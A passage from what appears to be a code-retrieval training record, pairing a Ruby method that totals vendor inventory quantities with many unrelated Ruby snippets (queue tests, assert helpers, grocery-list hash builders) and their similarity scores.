assert_equal(nil, @queue.peek, \"Diese Eissorte ist falsch!\")\nend", "def test_peekOnNonEmptyQueue\n @queue.enqueue(100)\n assert_equal( 100 , @queue.peek )\n end", "def test_isEmptyOnEmptyQueue\n assert_equal( true , @queue.empty? )\n end", "def test_duplicate_args\n assert_equal(false, Job.batch_exist?(@batch_id))\n\n assert_nothing_raised do\n 5.times { Resque.enqueue(JobWithoutArgs, @batch_id) }\n end\n\n assert_equal(false, $batch_complete)\n assert_equal(false, Job.batch_complete?(@batch_id))\n assert(Job.batch_exist?(@batch_id))\n\n assert_nothing_raised do\n 2.times { Resque.reserve(:test).perform }\n end\n\n assert_equal(false, $batch_complete)\n assert_equal(false, Job.batch_complete?(@batch_id))\n assert(Job.batch_exist?(@batch_id))\n\n assert_nothing_raised do\n 3.times { Resque.reserve(:test).perform }\n end\n\n assert($batch_complete)\n assert(Job.batch_complete?(@batch_id))\n assert_equal(false, Job.batch_exist?(@batch_id))\n end", "def test_peekOnEmptyQueue\n assert_equal( nil, @queue.peek )\n end", "def pending(&block)\n begin\n @__assert_pending__ += 1\n instance_eval(&block)\n ensure\n @__assert_pending__ -= 1\n end\n end", "def action_mailer_job_must_be_enqueued(mailer_class, mailer_method, *args)\n assert_includes enqueued_jobs, action_mailer_job(mailer_class, mailer_method, *args)\n end", "def test_drain_should_continue_if_queue_empty\n @listener.expects(:read_messages_from_queue).with(@slow_queue, 10, long_poll: false).returns(false)\n @listener.expects(:read_messages_from_queue).with(@queue, 10, long_poll: false).returns(false)\n @listener.drain\n assert true\n end", "def queued?\n @queued\n end", "def test_and_enque_for_time!(time)\n # should this job be enqued?\n return unless should_enque?(time)\n\n enque!\n end", "def test_add\n q = Queue.new\n q.add(1)\n assert_equal(1, q.queue.head.data)\n assert_equal(1, q.size)\n assert_equal(q.queue.tail, q.queue.head)\n end", "def verify_queue!\n raise 'queue.timeout' unless queue.timeout&.is_a? ActiveSupport::Duration\n end", "def test_cancel_queued\n group_name = 'cancellation'\n last_running_task = nil\n last_task = nil\n 5.times do |i|\n last_running_task = last_task\n last_task = post_simple_task(group_name).tasks[0]\n end\n\n r = @titan.groups_name_tasks_id_get(group_name, last_task.id)\n assert_equal r.task.status, \"queued\"\n r = @titan.groups_name_tasks_id_cancel_post(group_name, last_task.id)\n assert_equal r.task.id, last_task.id\n assert_equal r.task.status, \"cancelled\"\n\n task = wait_for_completion(last_running_task)\n assert_equal task.status, \"success\"\n sleep 2\n\n r = @titan.groups_name_tasks_id_get(group_name, last_task.id)\n # The task should not transition to success or error, nor should it have\n # a log.\n assert_equal last_task.id, r.task.id\n assert_equal r.task.status, \"cancelled\"\n puts \"cancelled task id: #{r.task.id}\"\n exc = assert_raise IronWorker::ApiError do\n @titan.groups_name_tasks_id_log_get(group_name, last_task.id)\n end\n assert_equal 404, exc.code\n end", "def test_container_work_queue_stop\n q = Queue.new\n c = Container.new __method__\n thread = Thread.new { c.run }\n time = Time.now + 0.01\n # Mix good scheduled tasks at time and bad tasks scheduled after 10 secs\n 10.times do\n c.schedule(time) { q << true }\n c.schedule(10) { q << false }\n end\n assert_same true, q.pop # First task processed, all others at same time are due\n # Mix in some immediate tasks\n 5.times do\n c.work_queue.add { q << true } # Immediate\n c.schedule(time) { q << true }\n c.schedule(10) { q << false }\n end\n c.stop\n thread.join\n 19.times { assert_same true, q.pop }\n assert_equal 0, q.size # Tasks with 10 sec delay should be dropped\n end", "def test_three\n print \"Test three (enqueue batch of messages): \"\n msg_ary = (1..14).map{|i| i.to_s}\n EZQ.enqueue_batch(msg_ary,[{'EZQ'=>nil}],'test_queue')\n q = EZQ.get_queue('test_queue')\n 14.times do\n q.receive_message do |msg|\n msg_ary -= [EZQ.strip_preamble(msg.body)]\n end\n end\n puts msg_ary\n if msg_ary.empty?\n puts 'pass'\n else\n puts 'fail'\n end\nend", "def assert(message)\n raise message unless yield\nend", "def mock_queue!(queue_name)\n mock_queue(queue_name) or raise NotFound.new\n end", "def test_unfinished_operation\n op = create_op MockOperation.new(status: :NOTDONE, name: NAME)\n refute op.done?\n refute op.error?\n refute op.response?\n assert_nil op.results\n assert_nil op.error\n assert_nil op.response\n end", "def test_enqueue_some\n txt = Txt.create!(\n :message => \"STOP\", :mobile_number => \"(605) 162-9100\"\n )\n assert_equal(\"created\", txt.status, \"TXT status\")\n\n voice_message = leads(:my_space_burger_king).voice_messages.create!(:mobile_number => \"(605) 162-9100\")\n assert_equal(\"created\", voice_message.status, \"Voice message status\")\n assert_nil(@sender.enqueue_some, \"Added less than MAX_WINDOW should return nil\")\n\n txt.reload\n assert_equal(\"enqueued\", txt.status, \"TXT status\")\n\n voice_message.reload\n assert_equal(\"enqueued\", voice_message.status, \"Voice message status\")\n end", "def deq\n @queued = false\n nil\n end", "def assert\n puts \"Processing...\"\n raise \"Assertion failed!\" unless yield \n puts \"True!\"\nend", "def type_assert_later(&proc)\n check_later(&proc)\n end", "def queued\n @queued\n end", "def test_container_work_queue\n c = Container.new __method__\n delays = [0.1, 0.03, 0.02]\n a = []\n delays.each { |d| c.schedule(d) { a << [d, Time.now] } }\n start = Time.now\n c.run\n delays.sort.each do |d|\n x = a.shift\n assert_equal d, x[0]\n end\n assert_equalish delays.reduce(:+), Time.now-start\n end", "def step\n @queue.enq nil\n end", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n# puts \"Processing...\"\n raise \"Assertion failed!\" unless yield \n puts \"True!\"\nend", "def assert \n raise \"Assert Failed!\" unless yield \nend", "def queued?\n @state == STATE_QUEUED\n end", "def testWaitingActionsOnHold\n initTestCase do\n $Context[:SlaveActions] = [\n [ 'DummyTool2', 'DummyAction2', [] ]\n ]\n $Context[:DummySenderSendError] = RuntimeError.new('Sending error')\n executeMaster( [ '--process', 'DummyProcess', '--user', 'DummyUser2' ],\n :Repository => 'Dummy/MasterServerInstalledWithDummySender',\n :AddRegressionProcesses => true,\n :AddRegressionSenders => true,\n :AddSlaveClientQueues => {\n {\n :Type => 'DummySender',\n :Tools => [\n Tools::All\n ]\n } => [\n [ 'DummyUser1',\n {\n 'DummyTool1' => {\n 'DummyAction1' => [\n []\n ]\n }\n }\n ]\n ]\n },\n :Error => RuntimeError\n ) do |iError|\n assert_equal( [\n [ 'sendMessage', [ 'DummyUser1', {\n 'DummyTool1' => {\n 'DummyAction1' => [\n []\n ]\n }\n } ]\n ]\n ],\n $Variables[:DummySenderCalls]\n )\n assert_equal(\n [\n [ 'DummyUser1',\n { 'DummyTool1' => {\n 'DummyAction1' => [\n []\n ]\n }\n }\n ],\n [ 'DummyUser2',\n { 'DummyTool2' => {\n 'DummyAction2' => [\n []\n ]\n }\n }\n ]\n ],\n getSlaveClientQueue\n )\n end\n end\n end", "def assert\n \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed\" unless yield\nend", "def assert\n \n raise \"Assertion failed\" unless yield \nend", "def assert\n \t raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed!\" unless yield\nend", "def assert \n raise \"Assertion failed!\" unless yield\nend", "def assert\n raise \"Assertion failed\" unless yield\nend", "def assert\n raise \"Assertion failed\" unless yield\nend" ]
[ "0.7142062", "0.7008809", "0.6811878", "0.678636", "0.6778477", "0.6770653", "0.6765957", "0.66629046", "0.65714514", "0.6549591", "0.64944655", "0.6386987", "0.63598573", "0.6343602", "0.6127641", "0.60799766", "0.6024693", "0.5969962", "0.5937291", "0.5931944", "0.5915512", "0.5895564", "0.58748776", "0.5869931", "0.58574694", "0.58477086", "0.58460784", "0.58316755", "0.5829159", "0.5828232", "0.5817501", "0.580927", "0.5802464", "0.57622546", "0.5757646", "0.57539034", "0.5752872", "0.5735606", "0.57339835", "0.5731165", "0.57275754", "0.5726637", "0.5725742", "0.5725742", "0.5725742", "0.5725742", "0.5725742", "0.5725742", "0.5725742", "0.5725742", "0.5725742", "0.5725742", "0.5725742", "0.5725742", "0.5725742", "0.5725742", "0.5725742", "0.5725742", "0.5725742", "0.5725742", "0.5725742", "0.5725742", "0.5725742", "0.5725742", "0.5725742", "0.5725742", "0.5725742", "0.5725742", "0.5725742", "0.5725742", "0.5725742", "0.5725742", "0.5725742", "0.5725742", "0.5725742", "0.5725742", "0.5725742", "0.5725742", "0.5725742", "0.5725742", "0.5725742", "0.5725742", "0.5725742", "0.5725742", "0.5725742", "0.5725742", "0.5725742", "0.5725742", "0.5725742", "0.5725742", "0.5725742", "0.5725742", "0.5725742", "0.5725742", "0.5725742", "0.5725742", "0.5725742", "0.5725505", "0.572503", "0.572503" ]
0.7532201
0
copy from this.copy(that) copies that into this
def copy(project) project.tickets.each do |ticket| copy_ticket = self.ticket!(:title => ticket.title, :description => ticket.description) ticket.comments.each do |comment| copy_ticket.comment!(:body => comment.body) sleep 1 end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def copy\n\t\t\treturn self.dup\n\t\tend", "def copy_to(other); end", "def copy\n dup\n end", "def copy\n Marshal.load(Marshal.dump(self))\n end", "def deepcopy\n\t\tMarshal.load(Marshal.dump(self))\n\tend", "def make_copy\n\t\t\tMarshal.load(Marshal.dump(self))\n\t\tend", "def clone\n self.copy\n end", "def clone\n self.copy\n end", "def deep_copy\r\n Marshal.load(Marshal.dump(self))\r\n end", "def initialize_copy( other )\n\t\t\t@elem = other.elem.dup\n\t\t\tsuper\n\t\tend", "def initialize_copy(other)\n # self\n end", "def copy\n move(:copy)\n end", "def deep_copy\n Marshal.load(Marshal.dump(self))\n end", "def deep_copy\n Marshal.load(Marshal.dump(self))\n end", "def foorth_copy(name)\r\n copy = self.clone\r\n copy.reinitialize(name)\r\n copy\r\n end", "def deep_copy\n Marshal.load(Marshal.dump(self))\n end", "def initialize_copy(other)\n super\n @values = Hash[@values]\n @changed_columns = @changed_columns.dup if @changed_columns\n @errors = @errors.dup if @errors\n @this = @this.dup if @this\n self\n end", "def copy\n \n end", "def deep_copy\n Marshal.load(Marshal.dump(self))\n end", "def initialize_copy(other)\n @collection = other.collection\n @opts = other.opts.dup\n @selector = other.selector.dup\n end", "def copy_from(original)\n self.template = original.template\n self.position = original.position\n self.data = original.data\n self\n end", "def dup\n copy(false)\n end", "def initialize_copy(other)\n end", "def initialize_copy(orig); end", "def initialize_copy(orig); end", "def initialize_copy(orig); end", "def initialize_copy(orig); end", "def initialize_copy(orig); end", "def initialize_copy(other)\n super\n @values = @values.dup\n end", "def deep_copy\n deep_transform_values(&method(:_deep_copy))\n end", "def clone\n copy(false)\n end", "def initialize_copy(orig)\n #This is a stub, used for indexing\n end", "def initialize_copy(other)\n @selector = other.selector.dup\n @options = other.options.dup\n @includes = other.inclusions.dup\n @context = nil\n end", "def copy(from, to)\n \n end", "def copy\n self.class.new(@x,@y)\n end", "def initialize_copy(other)\n @steps = other.steps.map do |step|\n step.class.new(self, *step.args)\n end\n @content = other.content.dup\n @url_attributes = other.url_attributes.dup\n end", "def clone\n Marshal.load(Marshal.dump(self))\n end", "def clone\n Marshal.load(Marshal.dump(self))\n end", "def clone\n Marshal.load(Marshal.dump(self))\n end", "def clone\n Marshal.load(Marshal.dump(self))\n end", "def clone\n Marshal.load(Marshal.dump(self))\n end", "def clone\n super\n end", "def copy(other)\n other.instance_variables.each do |v| \n instance_variable_set v, other.instance_variable_get(v)\n end\n end", "def dup( )\n\t\t\tMarshal.load(Marshal.dump(self))\n\t\tend", "def initialize_copy(from)\n @set = from.instance_variable_get('@set').clone\n end", "def initialize_copy(other)\n self.meta = meta.dup\n end", "def clone(source)\n copy(source, true)\n end", "def merge( other )\n clone.merge!( other )\n end", "def initialize_copy(other)\n @cells = {}\n other.cells.each do |k, cell|\n @cells[k] = cell.dup\n end\n super(other)\n end", "def __deep_copy__\n self.class.new(aliases, serializers, associations, aliased_associations) do |copy|\n each_pair do |key, value|\n copy.merge!(key => value.__deep_copy__)\n end\n end\n end", "def clone\n dup\n end", "def initialize_copy(*)\n @cache = @cache.dup\n @entries = @entries.dup\n end", "def copy_from(other)\n @stack = other.copy_stack\n end", "def initialize_copy(other)\n @series = other.series.dup\n @table = other.table.dup\n super(other)\n end", "def initialize_copy(other)\n super\n @values = Hash[@values]\n @changed_columns = @changed_columns.dup if @changed_columns\n @errors = @errors.dup if @errors\n self\n end", "def copy(copy)\n\t\t\treturn Alimento.new(copy.nombre,copy.proteinas,copy.carbohidratos,copy.lipidos,copy.gei,copy.terreno)\n\t\tend", "def clone\n @clone ||= super\n end", "def copy_to(other)\n copyable_attributes.each do |ivar|\n ivar = \"@#{ivar}\"\n other.instance_variable_set(ivar, instance_variable_get(ivar))\n end\n other.docstring = @docstring.to_raw\n other\n end", "def dup\n copy = super\n copy.clear_puzzle\n @puzzle.each_with_index do |entry, index|\n copy[index] = entry\n end\n copy\n end", "def initialize_copy(other)\n @__members__ = other.to_h\n freeze\n end", "def clone\n self\n end", "def copy(from, to)\n @parent.gemset_copy(from, to)\n end", "def copy_of *without, &block\n ASObj.from self, *without, &block\n end", "def deep_copy(obj); end", "def __copy_on_write__(*)\n super.tap do\n new_set = __getobj__.instance_variable_get(:@set).dup\n __getobj__.instance_variable_set(:@set, new_set)\n end\n end", "def copy\n obj = self.dup\n obj.attributes = {\n :name => \"Copy of #{name}\",\n :active => false,\n :created_at => nil,\n :updated_at => nil\n }\n obj\n end", "def copy_attributes(other, duplicator)\n self.course = duplicator.options[:destination_course]\n self.default_reference_time = duplicator.duplicate(other.default_reference_time)\n\n other_reference_times = other.reference_times - [other.default_reference_time]\n self.reference_times = duplicator.duplicate(other_reference_times).unshift(default_reference_time)\n\n self.title = other.title\n self.description = other.description\n self.published = duplicator.options[:unpublish_all] ? false : other.published\n self.base_exp = other.base_exp\n self.time_bonus_exp = other.time_bonus_exp\n end", "def initialize_copy(other)\n @series = other.series.dup\n super(other)\n end", "def deep_copy\n Sass::Tree::Visitors::DeepCopy.visit(self)\n end", "def copy\n self.class.new.tap do |obj|\n self.each_pair do |key, val|\n obj.set(key => (val.is_a?(Array) or val.is_a?(Hash)) ? val.clone : val)\n end\n end\n end", "def copy\n self.class.new.tap do |obj|\n self.each_pair do |key, val|\n obj.set(key => (val.is_a?(Array) or val.is_a?(Hash)) ? val.clone : val)\n end\n end\n end", "def initialize_copy(other)\n @epoch, @freshness = other.epoch.dup, other.freshness\n end", "def initialize_copy(other)\n super\n @initial_values = other.initial_values.dup\n @missing_initial_values = other.send(:missing_initial_values).dup\n @previous_changes = other.previous_changes.dup if other.previous_changes\n self\n end", "def clone\n copy = super\n copy.members = @members.map {|m| m.clone }\n copy\n end", "def merge( other )\n\t\t\tself.dup.merge!( other )\n\t\tend", "def clone\n Marshal.load(Marshal.dump self)\n end", "def clone\n super\n end", "def merge( other )\n self.dup.merge!(other)\n end", "def dup\n other = super\n %w{tables table_alias unique_alias where tables key_value_tables}.each do |k|\n other.send(\"#{k}=\", other.send(k).dup)\n end\n other\n end", "def dup\n copy = super\n @grid = @grid.dup\n copy\n end", "def __deep_copy__\n self.class.new(aliases) do |copy|\n each do |entry|\n copy.push(entry.__deep_copy__)\n end\n end\n end", "def clone; end", "def clone; end", "def clone; end", "def initialize_copy(other)\n super(other)\n @metadata = other.metadata\n end", "def clone() end", "def copy\n ditto = self.class.new\n @images.each { |f| ditto << f.copy }\n ditto.scene = @scene\n ditto\n end", "def clone\n other = dup\n other.freeze if self.frozen?\n other\n end", "def initialize_copy(other)\n # Think the assertion which fails if the after_initialize callback goes at the end of the method is wrong. The\n # deleted clone method called new which therefore called the after_initialize callback. It then went on to copy\n # over the attributes. But if it's copying the attributes afterwards then it hasn't finished initializing right?\n # For example in the test suite the topic model's after_initialize method sets the author_email_address to\n # test@test.com. I would have thought this would mean that all cloned models would have an author email address\n # of test@test.com. However the test_clone test method seems to test that this is not the case. As a result the\n # after_initialize callback has to be run *before* the copying of the atrributes rather than afterwards in order\n # for all tests to pass. This makes no sense to me.\n callback(:after_initialize) if respond_to_without_attributes?(:after_initialize)\n cloned_attributes = other.clone_attributes(:read_attribute_before_type_cast)\n # CPK\n #cloned_attributes.delete(self.class.primary_key)\n self.class.primary_key.each {|key| cloned_attributes.delete(key.to_s)}\n\n @attributes = cloned_attributes\n clear_aggregation_cache\n @attributes_cache = {}\n @new_record = true\n ensure_proper_type\n\n if scope = self.class.send(:current_scoped_methods)\n create_with = scope.scope_for_create\n create_with.each { |att,value| self.send(\"#{att}=\", value) } if create_with\n end\n end", "def frozen_copy\n if frozen?\n self\n else\n dup.freeze\n end\n end", "def clone\n return Marshal.load(Marshal.dump(self))\n end", "def _clone\n self.class.new(self)\n end", "def copy &alter\n Rumor.new(hash).tap &alter\n end", "def initialize_copy(other)\n super\n @deserialized_values = Hash[other.deserialized_values]\n self\n end", "def initialize_copy(src) #:nodoc:\n @statements = src.statements.dup\n @args = src.args.dup\n end", "def copy(dest)\n raise NotImplementedError\n end", "def initialize_copy(other)\n super\n if o = other.instance_variable_get(:@original_deserialized_values)\n @original_deserialized_values = Hash[o]\n end\n self\n end", "def deepen_copy! copier, src\n @a = @a.map { | x | copier[x] }\n end", "def copy_of *without, &block\n JrdObj.from self, *without, &block\n end", "def copy_values_from(other)\n self.name = other.name\n self.contributor = other.contributor\n self.share_mode = other.share_mode\n self.update_mode = other.update_mode\n self.public_view = other.public_view\n self.public_download = other.public_download\n end", "def merge(other)\n dup.merge!(other)\n end" ]
[ "0.76714534", "0.76152563", "0.7562753", "0.75355905", "0.7378767", "0.7315183", "0.7305928", "0.7305928", "0.71516174", "0.714991", "0.7126143", "0.7119238", "0.71008146", "0.71008146", "0.708592", "0.7050362", "0.7034959", "0.7025708", "0.69924206", "0.6974541", "0.697072", "0.6947723", "0.69413996", "0.6875751", "0.6875751", "0.6875751", "0.6875751", "0.6875751", "0.68357396", "0.6825316", "0.67956454", "0.6788955", "0.67521197", "0.6751963", "0.6745542", "0.67438996", "0.67200196", "0.67200196", "0.67200196", "0.67200196", "0.67200196", "0.6709822", "0.6699509", "0.66960037", "0.6688526", "0.66880566", "0.66708505", "0.666848", "0.665292", "0.6647724", "0.66423976", "0.6634124", "0.6628082", "0.6627761", "0.6606521", "0.6604165", "0.66022736", "0.6601352", "0.6591002", "0.6576869", "0.65708035", "0.6570627", "0.6562225", "0.6557476", "0.6539786", "0.65395707", "0.65385866", "0.65382934", "0.65343374", "0.65250283", "0.65250283", "0.6512586", "0.65017325", "0.64983296", "0.6483025", "0.647767", "0.6456671", "0.64533556", "0.6440906", "0.6433002", "0.6429346", "0.6420975", "0.6420975", "0.6420975", "0.6420048", "0.64164287", "0.64155424", "0.6412225", "0.6394522", "0.63919574", "0.63879865", "0.63870907", "0.63850677", "0.63847446", "0.6380701", "0.63787323", "0.63574845", "0.6355303", "0.63443065", "0.6341529", "0.63381314" ]
0.0
-1
tried to reuse my sorted item list, but i dont think i want my keys in my inventory hash to be in alphabetical order, according to the interaction pattern def total_inventory inventory = Hash.new sorted_item_list.each do |item| inventory[item] = 0 end inventory end
def total_inventory inventory = Hash.new(0) @vendors.each do |vendor| vendor.inventory.keys.each do |item| inventory[item] += vendor.inventory[item] end end inventory end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def purchased_items\n @items.inject({}) do |hash, item|\n item = item.capitalize\n if PRODUCTS.include? item\n hash[item] = 0 unless hash[item.to_s]\n hash[item] += 1\n end\n hash\n end\n end", "def initialize\n #each item has name and inventory number\n @inventory_list = {strawberry: 6, raspberry: 4, blueberry: 8}\n end", "def total_inventory\n list = Hash.new([])\n @food_trucks.each do |truck|\n truck.inventory.each do |item|\n list[item[0].name] = []\n end\n end\n list.each do |k, v|\n @food_trucks.each do |truck|\n truck.inventory.each do |item|\n if item[0].name == k\n list[k] << truck\n end\n end\n end\n end\n list\n end", "def total_inventory\n totes_hash = {}\n vendors.each do |vendor|\n vendor.inventory.each do |item, quantity|\n if totes_hash[item].nil?\n totes_hash[item] = { quantity: quantity, vendors: [vendor] }\n else\n totes_hash[item][:quantity] += quantity\n totes_hash[item][:vendors] << vendor\n end\n end\n end\n totes_hash\n end", "def indicator\n items_left_in_inventory = {}\n @inventory.each do |key, value|\n percentage = (value / @capacity[key].to_f) * 100\n items_left_in_inventory[key] = percentage.to_s + '%'\n end\n items_left_in_inventory\n end", "def item_list_adder(list, items, quantity)\n list[items] = quantity\n list\nend", "def inventory_hash(older, newer)\n older.merge(newer)\nend", "def list_creator(items)\n\n items_array = items.split(' ')\n\n items_hash = {}\n\n items_array.each do |item|\n items_hash[item] = 0 \n end \n\n items_hash\nend", "def parse_inventory(items)\n item_count = Hash.new\n items.split(',').each do |item|\n item = item.split(' ')\n item[1] = pluralize(item[1])\n item_count[item[1]] = item[0]\n end\n item_count\n end", "def inventory_hash(older, newer)\n newer.each do |key, value|\n older[key] = value\n end\n older\nend", "def grocery_list(items)\n list = {}\n items.split.each do |item, quantity|\n list[item] = 0\n end\n p list\nend", "def list_update(hash_items, item_name, quantity)\n hash_items[item_name] = quantity\n return hash_items\nend", "def food_list\n list = Hash.new\n list [\"carrots\"] = 0\n list [\"apples\"] = 0\n list [\"pizza\"] = 0\n list [\"cereal\"] = 0\n list\nend", "def add_item(list_hash, food, quantity = 1)\n list_hash[food] += quantity\n return list_hash\nend", "def add_item(list_hash, food, quantity = 1)\n list_hash[food] += quantity\n return list_hash\nend", "def add_item(list, item, quantity)\n #list = item.push\n list[item] = quantity.to_i\n list\nend", "def add_to_list(list_hash, item, qty)\r\n\tlist_hash[item] = qty\r\n\tlist_hash\t\r\nend", "def expected_inventory\n result = @inventory.dup\n # TODO DRY this up with `Person#eat`\n result[:fish] -= @daily_appetite = 10\n result\n end", "def make_list(list_of_items)\n x = list_of_items.split(\" \")\n $old_list = Hash.new(0)\n \n x.each {|item| $old_list[item] = 0 }\n p $old_list\n # hash[\"item3\"] = 2 \n # x.each (accessing every value from the array) converting each value to a key \n #new_hash.each {|x, y| y = 0 }\n\nend", "def hash\n [inventory_code, plu, name, host_id, size, category, group, master_group, price_level, clerk, location, quantity, total_ex, total_inc, counter, barcode, normal_price, item_cost, tax, tax_free, is_discount, is_refund, is_void, is_surcharge, is_promotion, reason].hash\n end", "def food_list\n\tlist = Hash.new \n\tlist [\"carrots\"] = 0\n\tlist [\"apples\"] = 0\n\tlist [\"pizza\"] = 0\n\tlist [\"cereal\"] = 0\n\tlist\nend", "def quantity_by_item_id(hash)\n hash.each { |item_id, inv_items|\n hash[item_id] = sum(inv_items, :quantity)\n }; return hash\n end", "def add_item(inventory, item, quantity)\n\tinventory[item] = quantity\n\t@full_inventory = inventory\n\t#this is what updates your inventory with the new item & quantity.\nend", "def item_stats\n items = []\n hash = Hash.new(0)\n @items.each do |i|\n break if i === 0\n items << Item.find(i)\n end \n items.each do |i|\n i.attributes.each do |key,value|\n hash[key]+=value.to_f if key != \"id\" && key != \"description\" && key!=\"name\" && key!=\"base_cost\"\n hash[\"cdr\"]+=(value [/(\\d+).{1,3}Cooldown Reduction/,0]).to_i if key ==\"description\"\n end \n end\n \n hash\n end", "def add_item(hash, item, quantity)\n\n hash[item] = quantity.to_i \n\n return hash\nend", "def build_inventory\n add_to_inventory(\"cats\", 4, 50.0)\n add_to_inventory(\"dogs\", 10, 150.0)\n add_to_inventory(\"unicorn\", 1, 1000.0)\nend", "def add_item_to_list(string, quantity, hash)\n\thash[string.to_sym] = (hash[string.to_sym] || 0) + quantity\n\tp hash\nend", "def list_of_items(userinput)\n itemlist = []\n final_list = {}\n itemlist = userinput.split(' ')\n p itemlist\n quantity = 1\n itemlist.each do |value|\n final_list[value] = 1\n end\n puts final_list\n final_list\nend", "def inventory_data\n {}\n end", "def inventory_data\n {}\n end", "def add_item(input_hash, item, qty = 0)\n# steps: use input item as key and input quantity as value \n input_hash[item] = qty\n# output: hash data structure of key/value pairs\n return input_hash\nend", "def add_item(item_name, item_qty)\n# $list_items[item_name] = item_qty\n # my_hash[key] = value\n # This will create a NEW key value pair\n # OR update (aka replace) the value for an existing key.\n \n # my_hash[key] += value\n # will INCREASE the value for an existing key.\n if $list_items.include?(item_name)\n # Increase that item\n $list_items[item_name] += item_qty\n else\n # Create the new item\n $list_items[item_name] = item_qty\n end\nend", "def new_quantity(list, item, qty)\n list[item] += qty\n p list\nend", "def refill(items = {})\n validate_refill(items)\n items.each do |key, value|\n return unless value.to_f && @inventory[key.to_s]\n\n new_value = @inventory[key.to_s] + value.to_f\n @inventory[key.to_s] += value.to_f\n end\n end", "def create_list(items)\n\tlist = {}\n\titems = items.split(' ')\n\tquantity = 0\n\tlist = Hash.new\n\n\titems.each do |item| \n\t\tlist[item] = quantity\n\tend\n\tlist\nend", "def item_totals_for_inventories\n\t\tresult = []\n\t\tInventory.includes(:items).all.each do |i|\n\t\t\tentry = { :name => i.name, :data => { } }\n\t\t\ti.holdings.each { |h| entry[:data] = entry[:data].merge({ h.item.name => h.quantity }) }\n\t\t\tresult << entry\n\t\tend\n\t\tresult\n\tend", "def add_item(hash, item, quantity)\n hash[item] = hash[item].to_i + quantity\n hash\nend", "def add_item(item_list, item, qty)\r\n item_list[item] = qty\r\n item_list\r\nend", "def animal_hash\n hash = Hash.new\n\n @inventory.each do |animal|\n first_letter = animal.kind[0]\n if hash[first_letter]\n hash[first_letter] << animal\n else\n hash[first_letter] = [animal]\n end\n hash\n end\n\nend", "def add_item(list, item, quantity)\n if list.has_key?(item)\n list[item] = list[item] + quantity\n else\n list[item] = quantity\n end\n return list\nend", "def inventory_without_hiting_the_database\n variants.inject(0) {|total, variant| total += variant.inventory}\n end", "def add_item(list, item, qty)\n list[item] = qty\n list\nend", "def add(list, item, quantity)\r\n list[item] = quantity\r\n list\r\n\r\nend", "def list_maker(items, *quantities)\r\n list_hash = {}\r\n list_array = items.split(' ')\r\n for i in 0..(list_array.length - 1)\r\n list_hash[list_array[i]] = quantities[i]\r\n end\r\n list_hash.map do |item, quantity|\r\n if quantity == nil \r\n list_hash[item] = 1 \r\n end\r\n end\r\n list_hash\r\nend", "def add_item(hash_list, new_item, quantity = 1)\n hash_list[new_item] = quantity\n p hash_list\nend", "def add_item(item, list, quantity=1)\n if !list.has_key?(item)\n list[item] = quantity\n return list\n else\n list[item] += quantity\n return list\n end\nend", "def add_item(list, item_name, qty=1)\n if list.has_key?(item_name)\n list[item_name] += qty\n else\n list[item_name] = qty\n end\n list\nend", "def list_create(items)\n hash_items = Hash.new\n default_quantity = 1\n\n # adding a slick way to initialize hash in one line, but not as readable\n # return items.split(' ').product([1]).to_h\n\n items.split(' ').each do |x|\n hash_items[x] = default_quantity\n end\n\n return hash_items\nend", "def create_list_items(input_string)\n \n hsh = {}\n \n # create an array containing each item \n array_input = input_string.split(' ')\n \n # create a hash from the array (iterate), containing the information of key/value pairs \n array_input.each do |item|\n # set default quantity as value\n hsh[item] = 0\n end \n \n # print the 